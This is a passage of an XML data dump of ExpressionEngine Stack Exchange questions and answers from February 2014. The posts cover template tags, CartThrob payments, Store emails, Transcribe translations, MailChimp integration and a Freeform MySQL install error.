     WHERE entry_id = $old_entry&#xA;                                     &quot;);&#xA;&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('exp_playa_relationships', $data_rel);&#xA;    }&#xA;}   &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-04T12:34:05.020" LastActivityDate="2014-02-04T12:34:05.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19076" PostTypeId="2" ParentId="18968" CreationDate="2014-02-04T10:11:11.110" Score="1" Body="&lt;p&gt;There is in fact a &lt;code&gt;default=&quot;&quot;&lt;/code&gt; parameter available for Stash set, however it only comes into play if you define a match parameter to test the value being set against a regular expression:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus this will do what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;head_title&quot; match=&quot;#^\S+#&quot; default=&quot;{title}&quot;}{news_meta_title}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One problem with this approach however is that if you pass a variable as a default value (e.g. &lt;code&gt;{title}&lt;/code&gt;) - and that value contains double quotes - that will blow up the parameters and throw a template parse error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switchee provides a simple way around this problem because you can pass a &lt;em&gt;reference&lt;/em&gt; to the Stash variable to evaluate (rather than the variable value itself) by prefixing the name with &lt;code&gt;stash:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;head_title&quot;}{news_meta_title}{/exp:stash:set}&#xA;&#xA;{exp:switchee variable=&quot;stash:head_title&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;&quot;}&#xA;        {exp:stash:set name=&quot;head_title&quot;}{title}{/exp:stash:set}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, blocks allow you to provide a fallback value when you &lt;em&gt;get&lt;/em&gt; the variable - this can be useful if alternative markup is required when the default value is used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;head_title&quot;}{news_meta_title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;entry_title&quot;}{title}{/exp:stash:set}&#xA;&#xA;{exp:stash:block name=&quot;head_title&quot;}&#xA;    {!-- fallback value if &quot;head_title&quot; is empty --}&#xA;    {exp:stash:entry_title}&#xA;{/exp:stash:block}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-02-04T10:11:11.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19077" PostTypeId="2" ParentId="19073" CreationDate="2014-02-04T10:41:55.187" Score="10" Body="&lt;p&gt;&lt;em&gt;Does a faster server mean a faster CP?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;YES&lt;/strong&gt;&#xA;In your case is &quot;shared hosting&quot; - sometimes can happens that some site which share the same resources (DB or CPU) just take it all. So best advice for this - change hosting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Are there any hard, fast rules to speed up the CP?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On shared hosting is not too much ways to speed up CP. &#xA;You need to analyse CP page one-by-one to find possible cure/reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can try to disable Ellislab news/new version feed update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If  your publish page works slow - you can check if you don't have too many authors. Some site give  authors right for Member group, but spammers can create thousandth accounts. As result - you will have a huge mysql select. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is CP speed directly related to which addons are used / the amount of custom fields per entry?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;YES&lt;/strong&gt;  - some accessories or ext. can made your CP work slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What would be an expected CP page load time?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is dependent on server resources/settings / specific CP page content.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-04T10:41:55.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19078" PostTypeId="1" CreationDate="2014-02-04T12:03:05.623" Score="0" ViewCount="53" Body="&lt;p&gt;I have a client that wishes to use the cartthrob subscriptions system in a slightly different manner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have an annual payment at the start of the year and then if someone joins midway through the year for the first payment to be a 'pro-rata' version of the annual total? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the annual membership is £300 and a new customer signs up in June, they pay £150 for the first year and then £300 in January, the following year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Martyn&lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2014-03-18T21:29:11.013" Title="Cartthrob pro-rata subscriptions" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19079" PostTypeId="2" ParentId="19070" CreationDate="2014-02-04T12:21:12.767" Score="3" Body="&lt;p&gt;The easier and faster way to do this is using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;Preload Text Replacements&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;snippets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippets are parsed &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;before&lt;/a&gt; Preload Text Replacements. So you can put them inside snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me show you an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of a snippet called &lt;code&gt;doctype-and-styles-snip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-rootclass=&quot;&quot;}&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html class=&quot;no-js no-jquery {if segment_1 == &quot;&quot;}home{/if} {pre-rootclass}&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put the &lt;code&gt;CLASS&lt;/code&gt; on &lt;code&gt;HTML&lt;/code&gt; instead of &lt;code&gt;BODY&lt;/code&gt;, but the principle is the same. The &lt;code&gt;{preload_replace:pre-rootclass=&quot;&quot;}&lt;/code&gt; is intended to remove the unused &lt;code&gt;CLASS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On templates, you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{doctype-and-styles-snip}&#xA;{exp:channel:entries limit='1' require_entry='yes' disable='pagination' [...]}&#xA;&amp;lt;title&amp;gt;{title} - {site_name}&amp;lt;/title&amp;gt;&#xA;{header-snip}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you need a custom class, just add a &lt;code&gt;preload_replace&lt;/code&gt; before the snippet. For example, this is a 404 page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-rootclass=&quot;404&quot;}{doctype-and-styles-snip}&#xA;&amp;lt;title&amp;gt;Not found - {site_name}&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex,follow,noarchive&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;not found&quot; /&amp;gt;&#xA;{header-snip}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, you can have custom classnames per page avoiding embeds and stash.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-02-04T12:21:12.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19080" PostTypeId="1" CreationDate="2014-02-04T12:29:02.530" Score="0" ViewCount="89" Body="&lt;p&gt;Is it possible to attach separate statuses, categories or some sort of unique hook to each &lt;strong&gt;date&lt;/strong&gt; inside the same event when using solspace calendar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use this for a theater, and the client wants to be able to label dates with stuff like &quot;sold out&quot;, and &quot;free&quot; and so on. But these labels have to be attached to a specific date inside the event, not the event itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-02-05T21:03:23.367" Title="solspace calendar: attach status or category to date specific date inside event" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19081" PostTypeId="1" AcceptedAnswerId="19084" CreationDate="2014-02-04T14:31:04.013" Score="1" ViewCount="60" Body="&lt;p&gt;For some reason, Exp:resso is not sending HTML emails. It sends plain text emails fine, and ExpressionEngine's Communicate is able to send HTML emails no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've trawled through the settings but can't find anything wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2697" LastActivityDate="2014-02-04T15:18:04.587" Title="HTML emails not sending (Exp:resso Store v1.6.5)" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19082" PostTypeId="1" AcceptedAnswerId="19353" CreationDate="2014-02-04T14:31:32.860" Score="1" ViewCount="230" Body="&lt;p&gt;I have a client who wants customers' credit cards authorized but not charged until they have manually verified that the product is available and ready to be shipped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using Cartthrob and Authorize.net and we have a CIM account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed Cartthrob's instructions on this page:&#xA;&lt;a href=&quot;http://cartthrob.com/docs/tutorials/authorize_later_with_vaults/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tutorials/authorize_later_with_vaults/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That page includes this sample template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form&#xA;    force_vault=&quot;yes&quot;&#xA;    force_processing=&quot;yes&quot;&#xA;}&#xA; {gateway_fields}&#xA; &amp;lt;input type=&quot;submit&quot; value=&quot;Checkout&quot;&amp;gt;&#xA;{/exp:cartthrob:checkout_form}&#xA;&#xA;*An admin interface might then look like this:*&#xA;&#xA;&amp;lt;table&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Order&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Date&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;     {exp:channel:entries channel=&quot;orders&quot; status=&quot;Processing&quot;}&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {exp:cartthrob:checkout_form&#xA;                vault_id=&quot;{order_vault_id}&quot;&#xA;                order_id=&quot;{entry_id}&quot;&#xA;            }&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Process Order&quot;&amp;gt;&#xA;            {/exp:cartthrob:checkout_form}&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;    {/exp:channel:entries}&#xA;   &amp;lt;/tbody&amp;gt;&#xA; &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a few tweaks (no tables, I use Stash DRY templating, and so on), I used that code. The orders are being entered with a &quot;processing&quot; status just fine. The sample admin interface code produces the list of entries that were marked &quot;processing&quot; just fine as well but clicking on the &quot;Process Order&quot; button for any of the entries returns this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt; Error Number: 1062&#xA;Duplicate entry '499' for key 'PRIMARY'&#xA;INSERT INTO &lt;code&gt;exp_channel_titles&lt;/code&gt; (&lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;site_id&lt;/code&gt;, &lt;code&gt;channel_id&lt;/code&gt;, &lt;code&gt;author_id&lt;/code&gt;, &lt;code&gt;forum_topic_id&lt;/code&gt;, &lt;code&gt;ip_address&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;versioning_enabled&lt;/code&gt;, &lt;code&gt;entry_date&lt;/code&gt;, &lt;code&gt;edit_date&lt;/code&gt;, &lt;code&gt;year&lt;/code&gt;, &lt;code&gt;month&lt;/code&gt;, &lt;code&gt;day&lt;/code&gt;) VALUES ('499', '1', '22', '1', 0, '127.0.0.1', 0, 'processing', 'y', 1391499771, '20140204024352', '2014', '02', '04')&#xA;Filename: third_party/cartthrob/models/cartthrob_entries_model.php&#xA;Line Number: 261&#xA;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure this is MySQL telling me that I'm trying to insert a duplicate entry id in the table that keeps the list of ordered products. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading Cartthrob's suggested template code, I can see why I'm getting this error message. The checkout_form tag creates an entry in the orders channel as well as sending the capture request off to Authorize.net. Since that entry already exists, I'm getting the &quot;duplicate entry for primary key&quot; error message from MySQL. What I need to have happen is an &lt;strong&gt;update&lt;/strong&gt; to the particular order in the orders channel that also sends off the &quot;capture&quot; request to Authorize.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd call Cartthrob for support but I'm currently still working on my local machine (yes, it does talk to Authorize.net) so I'd have to upload it all to a staging site in order for Cartthrob to look at it. I'm also using V2.4 which I know is one version behind but I searched the changelog carefully and none of the fixes seemed to apply here. I'd be happy to be wrong about that but before I go through all the work of updating and uploading, I'd like to know if there's something simpler I could do or if there's no way at all to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeanne&lt;/p&gt;&#xA;" OwnerUserId="997" LastEditorUserId="997" LastEditDate="2014-02-04T16:34:10.880" LastActivityDate="2014-02-12T04:18:11.877" Title="Updating Order status from &quot;Processing&quot; to &quot;Completed&quot; in Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19083" PostTypeId="2" ParentId="19060" CreationDate="2014-02-04T15:04:34.200" Score="1" Body="&lt;p&gt;Make sure you're running the latest version of EE and Structure.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-02-04T15:04:34.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19084" PostTypeId="2" ParentId="19081" CreationDate="2014-02-04T15:18:04.587" Score="1" Body="&lt;p&gt;If plain-text emails are being sent and EE is also sending HTML emails then what's likely is that they're being sent but not reaching their destination for some reason. The best approach here is to use an SMTP sending service such as &lt;a href=&quot;http://sendgrid.com/&quot; rel=&quot;nofollow&quot;&gt;SendGrid&lt;/a&gt; which is not only more reliable in delivery but also able to provide you with information if there is a problem with the send for some reason. From this you'll be able to find out what the problem is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it'll only be a minor detail. There's no reason why HTML emails wouldn't be getting through and giving things a test I can confirm they send fine from my local setup.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-04T15:18:04.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19085" PostTypeId="2" ParentId="19066" CreationDate="2014-02-04T15:27:05.657" Score="1" Body="&lt;p&gt;From the error message it looks like you're using eWay Rapid as your payment gateway. Error code V6059 is a &quot;Redirect URL Invalid&quot; response. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that you're using the correct tags in your template. In particular you need to ensure you're using the &lt;code&gt;{exp:store:payment}&lt;/code&gt; tag and not &lt;code&gt;{exp:store:checkout}&lt;/code&gt;. This is to deal with their rather different &lt;em&gt;transparent redirect&lt;/em&gt; gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also ensure that you have the other input fields named accordingly. More information on this &lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html#eway_rapid_3_0&quot; rel=&quot;nofollow&quot;&gt;in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you're still having problems with the redirect getting back to your site it could be an issue with &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/security/spam_protection.html#secure-mode&quot; rel=&quot;nofollow&quot;&gt;Secure Forms&lt;/a&gt;. You can try turning these off to test but it should be resolved in the latest version of Store (v2.2.0). If you're upgrading then be sure that you're running EE 2.7+ as that is now a minimum requirement.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-04T15:27:05.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19086" PostTypeId="2" ParentId="19047" CreationDate="2014-02-04T16:17:47.250" Score="5" Body="&lt;p&gt;There are a few gotchas that you'll have to get around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is that Transcribe creates translations of entries by creating an additional entry for the translated content and then relates it to the original entry. So if you use Transcribe on the channel you use for products in Store, you will have duplicate products (one for each language). As you can guess this can complicate things on the backend for features like reports in Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem are the error messages that are generated by Store during the checkout process. They are uni-lingual and you won't be able to translate them. In this case I just checked for their existence with a conditional and set a class on the input so I could at least visually highlight them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;required{if error:shipping_name} error{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then depending on the payment gateway you use you'll have to figure out a way to translate those error messages (for example using Stripe I just checked for the JS error messages returned from the service and replaced them with static translation variables from Transcribe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the generated emails, I just used one of the additional order fields from Store to hold the current language ID from Transcribe as a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;order_custom5&quot; value=&quot;{transcribe:language_abbreviation}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use that field's value as a conditional in the email message template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_custom5 == 'es'}&#xA;    ¡Gracias!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can't use Transcribe static text variables in the Store email templates so the translations will have to be hard-coded in the message.&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2014-02-04T16:17:47.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19087" PostTypeId="1" CreationDate="2014-02-04T16:27:58.940" Score="1" ViewCount="74" Body="&lt;p&gt;I upgraded CartThrob Pro to 2.4 and EE to 2.7.3 now I get a white screen of death when I try to access the Multi Location Settings Manager module page in the control panel. I uninstalled it and reinstalled it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Multi Location Settings Manager to change shipping options for domestic vs. international orders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using the HealthCheck accessory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else have this problem? Any suggestions for debugging it?&lt;/p&gt;&#xA;" OwnerUserId="2698" LastActivityDate="2014-04-13T05:14:30.923" Title="Cartthrob Multi Location Settings Manager gives white screen of death" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19088" PostTypeId="1" CreationDate="2014-02-04T17:57:43.527" Score="1" ViewCount="88" Body="&lt;p&gt;I’m using datagrab to parse an xml feed with non unique titles. eg. every week I will get a feed with a sports result where the title will be Division 1: Results Round Up with the url_title becoming division-1-results-round-up which displays correctly in the browser mysite.com/division-1-results-round-up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time the import is run I will get another story with the title Division 1: Results Round Up which its url_title then becomes division-1-results-round-up1 and the story is not displayed in the browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/division-1-results-round-up1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the course of a season I will have a lot of Results round up storys which will not be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried using other fields like story id or story intro as the url_title but it doesnt work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for your help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alan&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="1326" LastEditDate="2014-02-04T18:07:32.383" LastActivityDate="2014-02-04T18:07:32.383" Title="Duplicate url_title will not display content after appending number" Tags="|url|import|datagrab|duplicate|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19089" PostTypeId="1" AcceptedAnswerId="19153" CreationDate="2014-02-04T18:36:17.810" Score="1" ViewCount="135" Body="&lt;p&gt;When a new user registers for the site using Zoo Visitor, is it possible to grab any information from that profile and display it to the user before they complete the rest of the registration process (clicking link in confirmation email, logging in, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, our registration template looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == &quot;success&quot;}&#xA;   &amp;lt;h1&amp;gt;Thank You!&amp;lt;/h1&amp;gt;&#xA;   p&amp;gt;In a moment, you'll receive an email from us with a link to activate your new account.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change &lt;code&gt;&quot;Thank You&quot;&lt;/code&gt; to &quot;&lt;code&gt;Thank You, {username}!&quot;&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo Visitor's &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; has parameters for selecting the user via different segments, etc., but, not sure how those might be used in this situation.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-02-06T05:18:34.163" Title="Zoo Visitor: Display Member Fields After Registration, Before Logging In?" Tags="|zoo-visitor|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19090" PostTypeId="2" ParentId="18841" CreationDate="2014-02-04T19:45:07.147" Score="0" Body="&lt;p&gt;It sounds like ExpressionEngine could meet your needs. One straightforward approach would be to create a separate channel and member type for each sport. You would then assign rights to edit only that channel to each associated member type. These content editors would not have access to any of the underlying templates or data. Users with SuperAdmin (or similar) credentials could act as content moderators. Note, you can have each channel share the same channel fields so can avoid some of the redundancy between related channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about member groups and setting control panel permissions here: &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2014-02-04T19:45:07.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19091" PostTypeId="2" ParentId="12994" CreationDate="2014-02-04T20:13:44.100" Score="0" Body="&lt;p&gt;I couldn't get the SL MailChimp Subscribe add-on to work in 2.7.2. I was able to do the following, though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup a checkbox field, called &lt;code&gt;optincheckbox&lt;/code&gt;, with a value of &quot;y&quot;. Install &lt;a href=&quot;http://devot-ee.com/add-ons/mailchimp-ee&quot; rel=&quot;nofollow&quot;&gt;MailChimp EE&lt;/a&gt;, and add something like this to your template in an area where your members will be logged in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:zoo_visitor:details}&#xA;    {if visitor:member_optincheckbox == &quot;y&quot;}&#xA;        {exp:mailchimp_ee:subscribe &#xA;            api_key=&quot;KEY HERE&quot;&#xA;            list_id=&quot;KEY HERE&quot;&#xA;            email_address=&quot;{visitor:email}&quot; &#xA;            interest_groups='GROUP HERE'&#xA;            merge_fname='{visitor:member_firstname}'&#xA;            merge_lname='{visitor:member_lastname}'&#xA;            double_optin='no'&#xA;        }&#xA;    {if:else}&#xA;        {exp:mailchimp_ee:unsubscribe&#xA;            api_key=&quot;KEY HERE&quot;&#xA;            list_id=&quot;KEY HERE&quot;&#xA;            email_address=&quot;{visitor:email}&quot;&#xA;        }&#xA;    {/if}&#xA;{/exp:zoo_visitor:details}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-02-04T20:13:44.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19094" PostTypeId="1" CreationDate="2014-02-04T20:38:58.540" Score="1" ViewCount="112" Body="&lt;p&gt;I'm getting database errors when trying update Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I've narrowed it down to one specific mySQL statement, but I don't know enough about mySQL to know what's wrong, I just know that this section from &lt;code&gt;db.freeform.sql&lt;/code&gt; causes a syntax error at line 4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `exp_freeform_fields` (&#xA;    `field_id`                      int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `field_name`                    varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `field_label`                   varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `field_type`                    varchar(50)         NOT NULL DEFAULT 'text',&#xA;    `settings`                      text,&#xA;    `author_id`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `edit_date`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `required`                      char(1)             NOT NULL DEFAULT 'n',&#xA;    `submissions_page`              char(1)             NOT NULL DEFAULT 'y',&#xA;    `moderation_page`               char(1)             NOT NULL DEFAULT 'y',&#xA;    `composer_use`                  char(1)             NOT NULL DEFAULT 'y',&#xA;    `field_description`             text,&#xA;    PRIMARY KEY                     (`field_id`),&#xA;    KEY                             (`field_name`),&#xA;    KEY                             (`site_id`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone spot the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: for what it's worth, I just tried to install the latest Freeform for the first time on a different EE installation and got the same error.&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2014-02-04T21:43:12.983" LastActivityDate="2014-04-05T23:47:45.857" Title="Solspace Freeform not updating, mySQL error?" Tags="|solspace-freeform|solspace|mysql|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19095" PostTypeId="1" CreationDate="2014-02-04T21:10:26.013" Score="2" ViewCount="53" Body="&lt;p&gt;Any one know if there is a setting in Expression engine for the WYGWAM editor for https?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I access through https my tool bar disappears?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Dan&lt;/p&gt;&#xA;" OwnerUserId="2700" LastActivityDate="2014-02-04T21:10:26.013" Title="SSL and Wygwam not loading tool bar" Tags="|wygwam|ssl|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19097" PostTypeId="2" ParentId="19094" CreationDate="2014-02-04T21:50:48.770" Score="1" Body="&lt;p&gt;I think perhaps there was a bad character in my version of the Freeform files. I was able to copy and paste the statement from above and run it successfully, but copy and pasting from the file itself throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway — after running all the statements in &lt;code&gt;db.freeform.sql&lt;/code&gt; individually, all seems well now, thanks for looking.&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2014-02-04T21:50:48.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
